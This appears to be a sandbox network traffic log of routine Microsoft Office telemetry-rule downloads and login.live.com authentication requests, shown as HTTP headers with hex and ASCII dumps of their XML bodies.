2024-11-28 05:48:51 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 28 Nov 2024 05:47:51 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_SN1 x-ms-request-id: 895de804-2437-4cf5-9433-bae32fe81610 PPServer: PPV: 30 H: SN1PEPF0002FABB V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 28 Nov 2024 05:48:51 GMT Connection: close Content-Length: 11410
2024-11-28 05:48:51 UTC	11410	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:52 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:52 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:52 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 592f830c-001e-005a-4566-40c3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054852Z-174f7845968psccphC1EWRuz9s0000000y9g000000005bmr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:52 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.5	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:52 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:53 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:52 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 14d8e695-801e-008c-6b91-3f7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054852Z-174f78459688l8rvhC1EWRtzr00000000aqg000000001514 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:53 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:52 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:53 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:53 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 8b6e778c-d01e-005a-3367-407fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054853Z-174f7845968frfdmhC1EWRxxbw0000000xy000000000hp2u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:53 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:52 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:53 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:53 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 97970dc3-901e-008f-6c91-3f67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054853Z-174f7845968jrjrxhC1EWRmmrs0000000y5g0000000062be x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:53 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	49877	20.190.177.85	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:53 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-28 05:48:53 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-28 05:48:54 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 28 Nov 2024 05:47:53 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_SN1 x-ms-request-id: 665645a5-d1fc-4e74-9a0a-f0c356c660cf PPServer: PPV: 30 H: SN1PEPF0002F06E V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 28 Nov 2024 05:48:54 GMT Connection: close Content-Length: 11410
2024-11-28 05:48:54 UTC	11410	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:53 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:53 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:53 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: d3508ca6-601e-003d-4e91-3f6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054853Z-174f784596886s2bhC1EWR743w0000000y20000000006xwe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:53 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	49881	20.190.177.85	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:53 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-28 05:48:53 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-28 05:48:54 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 28 Nov 2024 05:47:54 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_BAY x-ms-request-id: 54457cb3-ee8a-41a4-be5a-c784e28bd9dc PPServer: PPV: 30 H: PH1PEPF00011EC5 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 28 Nov 2024 05:48:53 GMT Connection: close Content-Length: 11410
2024-11-28 05:48:54 UTC	11410	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:54 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:55 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:55 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 305230f7-c01e-00a1-7c4f-417e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054855Z-174f7845968px8v7hC1EWR08ng0000000y9g000000005t8t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 05:48:55 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:55 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:55 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:55 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 0d65d26d-201e-0000-194f-41a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054855Z-174f7845968cdxdrhC1EWRg0en0000000xw000000000fftk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 05:48:55 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:55 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:55 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:55 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 248bfb43-401e-002a-2a6a-40c62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054855Z-174f7845968swgbqhC1EWRmnb40000000y4000000000ab85 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
